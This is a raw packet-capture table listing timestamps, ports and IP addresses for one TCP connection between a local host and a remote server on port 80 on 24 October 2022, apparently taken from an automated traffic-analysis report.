Oct 24, 2022 11:09:02.643937111 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.643938065 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.643968105 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.644000053 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.644000053 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.644027948 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.644056082 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.644057989 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.644083977 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.644104004 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.644112110 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.644140005 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.644150019 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.644167900 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.644196033 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.644220114 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.644223928 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.644248962 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.644259930 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.644278049 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.644308090 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.644318104 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.644336939 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.644366026 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.644376993 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.644392967 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.644422054 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.644429922 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.644449949 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.644473076 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.644485950 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.644495964 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.644520998 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.644534111 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.644542933 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.644571066 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.644579887 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.644598007 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.644624949 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.644634008 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.644653082 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.644680023 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.644689083 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.644709110 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.644737005 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.644746065 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.644764900 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.644793987 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.644802094 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.644821882 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.644848108 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.644859076 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.644876003 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.644902945 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.644913912 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.644929886 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.644958019 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.644968033 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.644988060 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.645015955 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.645025969 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.645045042 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.645072937 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.645081997 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.645100117 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.645128012 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.645137072 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.645153999 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.645183086 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.645200968 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.645210981 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.645237923 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.645250082 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.645266056 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.645293951 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.645303011 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.645320892 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.645349026 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.645358086 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.645376921 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.645405054 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.645416021 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.645431042 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.645457983 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.645467997 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.645486116 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.645514965 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.645524025 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.645541906 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.645570040 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.645577908 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.645597935 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.645626068 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.645633936 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.645653963 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.645680904 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.645690918 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.645710945 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.645739079 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.645750999 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.645766973 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.645803928 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.645806074 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.645839930 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.645867109 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.645876884 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.645896912 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.645924091 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.645934105 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.673365116 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.673417091 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.673449993 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.673481941 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.673511028 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.673521996 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.673538923 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.673568964 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.673589945 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.673597097 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.673624992 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.673655033 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.673676968 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.673683882 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.673712969 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.673713923 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.673742056 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.673743963 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.673772097 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.673791885 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.673801899 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.673830986 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.673860073 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.673862934 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.673887014 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.673904896 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.673917055 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.673947096 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.673971891 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.673980951 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.674010992 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.674025059 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.674040079 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.674068928 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.674084902 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.674098969 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.674125910 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.674138069 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.674155951 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.674185038 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.674196959 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.674215078 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.674243927 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.674254894 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.674273968 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.674303055 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.674315929 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.674331903 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.674360037 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.674371004 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.674391031 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.674420118 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.674433947 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.674449921 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.674480915 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.674490929 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.674510956 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.674540043 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.674559116 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.674568892 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.674597025 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.674612999 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.674626112 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.674655914 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.674675941 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.674685955 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.674716949 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.674726963 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.674741983 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.674767971 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.674782991 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.674793959 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.674822092 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.674839973 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.674849033 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.674874067 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.674889088 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.674916983 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.674942970 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.674957037 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.674973011 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.674998999 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.675019026 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.675028086 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.675055027 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.675069094 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.675081968 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.675107002 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.675122023 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.675132990 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.675157070 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.675169945 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.675182104 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.675210953 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.675220966 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.675236940 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.675265074 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.675276041 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.675291061 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.675317049 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.675328970 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.675345898 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.675371885 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.675384045 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.675398111 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.675421953 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.675436020 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.675446033 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.675468922 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.675483942 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.675493002 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.675517082 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.675529957 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.675539970 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.675563097 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.675584078 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.675585985 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.675611973 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.675636053 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.675640106 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.675659895 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.675681114 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.675683975 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.675707102 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.675723076 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.675731897 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.675755024 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.675770998 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.675777912 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.675802946 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.675816059 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.675827980 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.675849915 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.675865889 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.675870895 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.675899029 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.675909996 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.675929070 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.675960064 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.675971031 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.675995111 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.676028013 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.676033974 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.676059008 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.676090002 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.676098108 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.676131010 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.676163912 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.676175117 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.676198006 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.676232100 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.676239967 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.676264048 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.676295042 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.676310062 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.676328897 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.676362991 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.676372051 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.676394939 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.676425934 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.676434994 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.676459074 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.676492929 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.676500082 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.676527023 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.676559925 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.676569939 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.676592112 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.676636934 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.693862915 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.693991899 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.704025030 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.704086065 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.704119921 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.704140902 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.704154015 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.704209089 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.704236031 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.704240084 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.704273939 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.704282045 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.704308033 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.704339981 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.704349041 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.704372883 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.704406023 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.704415083 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.704438925 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.704471111 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.704482079 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.704513073 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.704545021 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.704566002 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.704576969 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.704608917 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.704617023 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.704643965 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.704677105 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.704705000 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.704710960 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.704742908 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.704770088 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.704776049 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.704807997 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.704833984 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.704838991 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.704869986 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.704884052 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.704901934 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.704933882 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.704942942 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.704965115 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.704998016 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.705005884 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.705029964 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.705060005 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.705091000 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.705091953 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.705123901 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.705132961 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.705157042 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.705189943 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.705199003 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.705223083 CEST	80	49700	193.23.244.244	192.168.2.3
